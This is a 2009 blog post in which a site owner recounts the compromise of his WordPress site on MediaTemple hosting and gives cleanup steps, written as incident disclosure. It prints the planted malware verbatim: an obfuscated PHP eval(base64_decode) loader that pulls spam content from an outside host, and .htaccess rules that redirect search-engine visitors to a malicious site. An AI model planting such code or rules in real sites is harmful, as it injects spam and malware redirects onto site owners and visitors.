Expose:
Wordpress, MediaTemple, and an Injection Attack
November 7, 2009 by Kyle BradyTags: Exploit, Hack, Injection, MediaTemple, Wordpress
As required by the FTC, a Full Disclosure is available - this piece adheres to the Code of Ethics
Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.
Here’s what happened:
- an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the </html> tag
- a list of hundreds of URLs to assorted pages, mostly porn, appeared after the </html> tag on all pages of the site
- for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page
Here’s how to fix it:
- remove the eval() code from “index.php” in the root Wordpress directory
- delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts
- delete the .nfs* file in the root Wordpress directory
- if you’re really paranoid, replace all the Wordpress files with clean source
- open the root .htaccess file and remove this code
I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case. MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.
If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing. But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.
Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future. Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.
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Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.
Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it. Details to come.
Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.
Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.
Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it. Details to come soon.
Update (11/26/2009 1:30pm PST): The issue is still ongoing, and while I had been told it was solved a week ago, that is apparently not the case. I'm pushing for details, and will update soon. This situation is entirely unacceptable.
Update (11/16/2009 2:05pm PST): MediaTemple has released a sorry excuse for explaining what happened... but this is insufficient information and not the full story.
Update (11/16/2009 3:45pm PST): New post with more details on the inability to resolve this issue and their unwillingness to discuss it. Future details will be posted there, rather than here.
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More details:
Uploaded File
named “.nfs*” in the root Wordpress directory
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>
Javascript Eval Code
found in “index.php” in the root Wordpress directory
<!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>
Example Link
found after the </html> tag on all pages, list of hundreds of similar URLs
<a href="http://e-officeadmin.com/kurkb/blow-dryer-tattoo.html">blow dryer tattoo</a>
.htaccess Code
found in the root ".htaccess file"
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]
Kyle can be found on Twitter and MySpace, or reached via email.
